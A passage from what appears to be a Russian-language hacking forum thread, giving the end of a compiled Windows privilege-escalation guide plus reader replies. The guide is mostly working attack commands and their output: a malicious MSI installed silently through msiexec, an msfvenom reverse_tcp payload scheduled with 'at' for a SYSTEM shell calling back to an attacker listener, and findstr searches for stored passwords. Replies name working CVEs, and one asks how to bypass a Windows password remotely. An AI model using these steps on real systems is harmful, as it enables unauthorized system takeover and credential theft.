uploaded : Payload.exe -> Payload.exe[/li][/list]meterpreter > upload -f malicious.msi
uploading : malicious.msi -> malicious.msi[/li]
uploaded : malicious.msi -> malicious.msi[/li]
Перед запуском .msi файла запустим новый хэндлер в другом терминале для работы с новым шеллом (с повышенными привилегиями)

Код:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.2.60
lhost => 192.168.2.60
msf exploit(handler) > set lport 8989
lport => 8989
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Теперь можно запустить наш .msi файл на целевой машине:
Код:
meterpreter > shell
Process 1260 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\testuser\AppData\Local\temp>msiexec /quiet /qn /i
malicious.msi
msiexec /quiet /qn /i malicious.msi
C:\Users\testuser\AppData\Local\temp>
Описание ключей:
/quiet = скрывать любые сообщения для пользователя при установке
/qn = не использовать графический интерфейс (GUI)
/i = обычная (а не админ) установка
После установки мы получаем шелл с правами SYSTEM на целевой машине:

Код:
Started reverse TCP handler on 192.168.2.60:8989 [/li]Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.236[/li]
Meterpreter session 1 opened (192.168.2.60:8989 ->
192.168.2.236:36071) at 2016-12-21 04:21:57 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Также в Metasploit есть готовый модуль для применения описанной техники:
Код:
exploit/windows/local/always_install_elevated
Использование Планировщика задач (Task Scheduler) для повышение привилегий

Данный метод работатет только на Windows 2000, XP и 2003 системах. Вам необходимы права локального админа для управления запланированными задачами. Если же у вас сессия meterpreter'a с ограниченными правами, то данный метод не сработает. На системах Windows 2000, XP и 2003 запланированные задачи запускаются с правами SYSTEM. Следовательно, если мы создадим задачу, которая запускает нашего “зверька”, то он будет запущен с правами SYSTEM
Для демонстрации снова сгенерируем reverse shell пэйлоад:

Код:
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e
x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o
Payload.exeNo platform was selected, choosing Msf::Module::Platform::Windows
from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of
x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
Saved as: Payload.exe
Теперь можно загрузить его на целевую машину (в любую папку). В нашем случае мы дропнем пэйлоад в папку Temp:

Код:
meterpreter > getuid
Server username: TESTMACHINE\test
meterpreter > sysinfo
Computer : TESTMACHINE
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/win32
meterpreter > cd "C:/Documents and Settings/test/Local
Settings/Temp"
meterpreter > upload -f Payload.exe
uploading : Payload.exe -> Payload.exe[/li]
uploaded : Payload.exe -> Payload.exe[/li]
Также нам необходимо удостовериться что Планировщик задач работает на целевой машине. Для этого просто попробуем запустить его:

Код:
meterpreter > shell
Process 840 created.
Channel 2 created.Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\test\Local Settings\Temp>net start "Task
Scheduler"
net start "Task Scheduler"
The requested service has already been started.
More help is available by typing NET HELPMSG 2182.
C:\Documents and Settings\test\Local Settings\Temp>
Как видим, планировщик уже запущен. Проверим текущее время на целевой машине:

Код:
C:\Documents and Settings\test\Local Settings\Temp>time
time
The current time is: 6:41:05.81
Enter the new time:
C:\Documents and Settings\test\Local Settings\Temp>
Создадим задачу, которая будет запускать наш файл через одну минуту от текущего времени на целевой машине:

Код:
C:\Documents and Settings\test\Local Settings\Temp>at 06:50
/interactive "C:\Documents and Settings\test\Local
Settings\Temp\Payload.exe"
at 02:32 /interactive "C:\Documents and Settings\test\Local
Settings\Temp\Payload.exe"
Added a new job with job ID = 1
C:\Documents and Settings\test\Local Settings\Temp>
Запустим хэндлер в новом терминале. Через минуту выполнится наш файл с правами SYSTEM и у нас будет сессия с правами SYSTEM:

Код:
msf exploit(handler) > run
Started reverse TCP handler on 192.168.2.60:8989 [/li]
Starting the payload handler...[/li]
Sending stage (957999 bytes) to 192.168.2.231[/li]Meterpreter session 6 opened (192.168.2.60:8989 ->
192.168.2.231:1066) at 2017-01-05 17:58:29 -0500[/li][/list]
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Ну и напоследок способ который так же иногда может помочь

Сохраненные учетные данные (Stored Credentials)

Еще одним методом, который может привести нас к повышению привилегий на целевой машине является поиск сохраненных учетных данных. Например, можно поискать такие файлы/директории:

Код:
C:\unattend.xml
C:\sysprep.inf
C:\sysprep\sysprep.xml
Также можно воспользоваться поисковыми запросами для поиска файлов на целевой машине, например:


Код:
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
findstr /si password *.txt | *.xml | *.ini
findstr /si pass *.txt | *.xml | *.ini
Молодцы, те кто дочитал до конца. Еще раз повторюсь, что эта статья является компиляцией знаний по технологиям повышения привилегий в системах Windows. К сожалению не смогу уже вспомнить и сослаться на часть авторов на основании статей которых я собирал этот огромный мануал, но выражаю им благодарность.

Links
1.1 Повышение привилегий с BeRoot (AlessandroZ/BeRoot)
1.2 Повышение привилегий с Sherlock (rasta-mouse/Sherlock)
1.3 Повышение привилегий с Windows-privesc-check (pentestmonkey/windows-privesc-check)
1.4 Повышение привилегий с Hot Potato (foxglovesec/Potato)
1.5 Повышение привилегий с Smashed Potato (Cn33liz/SmashedPotato)
1.6 Повышение привилегий с Tater (Kevin-Robertson/Tater)
1.7 Easy System (Cn33liz/EasySystem)

P.S. Автор статьи не несет ответственности за применение описываемых техник в незаконных целях. Материал статьи предоставлен в образовательных целях и для использования в рамках white hat практик.
 

z3r0c10wn

Премиум
04.09.2017
105
199
#3
Кстати из практики, техника Unquoted service path меня не раз выручала
 

Elektrolife

Well-known member
21.10.2016
185
28
#4
отличная статья! Из личного опыта: HotPotato ни разу не сработало )) С DLLhijack я что то тоже не очень подружился. Из того что реально работало: CVE-2017-0213,CVE-2016-7255,Secondary Logon Handle . Шерлок как правило ничего не находит (
Как по мне - тема не менее актуальна,чем получение шела на машине. Часто бывает,когда доступ к машине есть ( шелл,RDP) а дальше тупик ) Залочено всё,что только можно
 

OBLIVIONNN

Well-known member
22.08.2017
140
84
#5
А есть какие то способы обхода пароля на windows машине, без физического доступа к нему ?